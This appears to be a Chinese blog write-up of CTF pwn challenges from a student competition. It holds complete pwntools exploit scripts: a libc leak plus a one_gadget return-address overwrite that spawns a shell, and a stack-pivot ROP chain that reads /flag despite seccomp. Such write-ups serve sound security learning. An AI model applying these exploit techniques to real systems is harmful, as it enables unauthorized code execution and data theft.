1 2 3 offset_addr = 0x20808 offset_one_gadget = 0x45216 one_gadget = addr - offset_addr + offset_one_gadget
1 2 [*] ret: 0x7f2f53727808 [*] one_gadget: 0x7f2f5374c216
在第二次执行main
时,覆盖返回地址为one_gadget
即可getshell
对了,题目中这里,有提示要再次执行main()
:
1 2 3 4 5 6 7 8 9 10 if ( flag1 == 1 ){ read_n(&e99 + 8 * v3, 8L L); puts (aE99p1ant_1); flag1 = 0 ; } else { puts (&byte_15D8); }
0x4 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 from pwn import *local_file = './Metaphysical_Necrosis' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = 'libc-2.23.so' is_local = False is_remote = False if len(sys.argv) == 1 : is_local = True p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1 : is_remote=True if len(sys.argv) == 3 : host = sys.argv[1 ] port = sys.argv[2 ] else : host, port = sys.argv[1 ].split(':' ) p = remote(host, port) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format(addr)) def debug (cmd='' ) : gdb.attach(p,cmd) print ru('你要把C4安放在哪里呢?\n' )sl('5' ) if is_local: se('\x43' )if is_remote: se('\x08' )sleep(1 ) ru('the bomb has been planted!\n' ) sl('' ) print ru('不如把它宰了,吃一顿大餐,你说吼不吼啊!\n' )sl('' ) ru('起个名字:' ) sl('Imagin' ) ru('切成几段呢?\n' ) sl('20' ) for i in range(20 ): ru('怎么料理呢:' ) sl(p64(i+0xdeadbeef )) ru('金枪鱼吃了大半。\n' ) sl('' ) ru('仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。\n' ) sl('' ) ru('的路程是__m:' ) meter = 5 sl(str(meter)) ru('Terrorist Win\n' ) addr = u64(rc(6 ).ljust(8 ,'\0' )) log.hexdump(addr) info_addr("ret" ,addr) if is_remote: offset_addr = 0x20808 offset_one_gadget = 0x45216 if is_local: offset_addr = 0x26B43 offset_one_gadget = 0x106ef8 ''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL ''' one_gadget = addr - offset_addr + offset_one_gadget info_addr('one_gadget' , one_gadget) ru('~~!~?~…____\n' ) sl('' ) print ru('你要把C4安放在哪里呢?\n' )sl('5' ) se(p64(one_gadget)) sleep(1 ) ru('the bomb has been planted!\n' ) sl('' ) print ru('不如把它宰了,吃一顿大餐,你说吼不吼啊!\n' )sl('' ) ru('起个名字:' ) sl('Imagin' ) ru('切成几段呢?\n' ) sl('20' ) for i in range(20 ): ru('怎么料理呢:' ) sl(p64(i+0xdeadbeef )) ru('金枪鱼吃了大半。\n' ) sl('' ) ru('仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。\n' ) sl('' ) ru('的路程是__m:' ) meter = 5 sl(str(meter)) ru('Terrorist Win\n' ) addr = u64(rc(6 ).ljust(8 ,'\0' )) log.hexdump(addr) info_addr("ret" ,addr) ru('~~!~?~…____\n' ) sl('' ) p.interactive()
Week3 week3开题的时候…我正在看CCTV-8直播的绝代双骄,古龙的武侠小说写的真是精彩呀,新版的绝代双骄电视剧的还原度很高,而且排在春节黄金档,焉能不看!于是week3只做了一道题,没想到还拿了2血,剩下的都是堆的题,不会啊…
ROP_LEVEL2
题目描述:-
题目地址:ROP
考察点:ROP攻击、栈迁移、seccomp
难度:中等
分值:200
完成人数:27
0x0 背景姿势 这题和week1的ROP_LEVEL0差不多,但是开启了seccomp
,且栈溢出只有8字节
seccomp
用于关闭不必要的系统调用,比如SYSCALL execve
0x1 漏洞分析
0x2 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *local_file = './ROP' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = local_libc is_local = False is_remote = False if len(sys.argv) == 1 : is_local = True p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1 : is_remote = True if len(sys.argv) == 3 : host = sys.argv[1 ] port = sys.argv[2 ] else : host, port = sys.argv[1 ].split(':' ) p = remote(host, port) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format(addr)) def debug (cmd='' ) : if is_local: gdb.attach(p,cmd) prdi = 0x0000000000400a43 leave = 0x000000000040090d m3c = 0x00400a20 p6r = 0x00400a3a prsi = 0x0000000000400a41 prbp = 0x0000000000400830 buf = 0x6010a0 open_func = 0x400985 read_plt = elf.symbols['read' ] main = elf.symbols['main' ] open_plt = elf.symbols['open' ] puts_plt = elf.symbols['puts' ] bss_base = elf.bss() + 0x200 offset = 80 payload = '\0' *offset payload += p64(buf) payload += p64(leave) stack = p64(p6r) + p64(0 ) + p64(1 ) + p64(buf+0x8 *9 ) + p64(0x100 ) + p64(0 ) + p64(buf+0x8 *18 ) + p64(m3c) + p64(open_plt) stack += p64(0 ) + p64(1 ) + p64(buf+0x8 *17 ) + p64(0x100 ) + p64(bss_base) + p64(0x4 ) + p64(m3c) + p64(read_plt) stack += '/flag\0\0\0' stack += p64(0xdeadbeef )*5 stack += p64(prdi) + p64(bss_base) + p64(puts_plt) + p64(0xdeadbeef ) ru('think so?' ) sl('TaQini!!' +stack) rc() sl(payload) sl('TaQini is here~~~' ) p.interactive()
Week4 week4只有两道题,想必是极难的,week3也还剩下3道题,留个坑,以后看。
(杭电出的题目,水准很高~ 必须点个赞^_^)
结尾 这次春节蹭新生赛,真是涨了不少姿势,感谢出题的杭电师傅们,感谢imagin 师傅的帐号~